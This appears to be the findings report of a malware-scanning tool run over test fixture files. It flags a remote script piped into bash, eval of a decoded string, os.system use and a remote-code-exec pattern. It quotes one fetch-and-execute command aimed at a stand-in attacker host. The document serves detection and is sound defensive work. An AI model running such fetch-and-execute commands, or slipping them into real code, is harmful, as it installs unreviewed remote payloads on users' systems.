FINDINGS ░▒▓

criticalRemote script piped into a shellA shell script downloads remote content and executes it directly (e.g. `curl … | bash`). The payload is never stored or reviewable and can change server-side — a classic malware/backdoor install pattern.test-samples/malicious/install.sh


curl https://attacker.example.invalid/payload.sh | bash

criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.test-samples/malicious/payload.js


var decoded = atob("Zml4dHVyZS1vbmx5LW5vLXBheWxvYWQtaGVyZQ=="); eval(decoded);

warningPython subprocess / os.system usageos.system() or subprocess with shell=True / suspicious commands can execute arbitrary shell commands. Plain pip/package installs are usually benign.test-samples/malicious/setup.py

        import os
        os.system("echo fixture-only-no-real-install")

criticalPython remote code executionFetching code from a remote URL and immediately executing it (exec(requests.get(...).text)) is a classic malware dropper pattern.tests/run_tests.py

Scores are heuristics. A “safe” verdict means no known-malicious patterns were found — clever malware can look boring. Wrong verdict? Flag it above; confirmed false positives become regression tests.
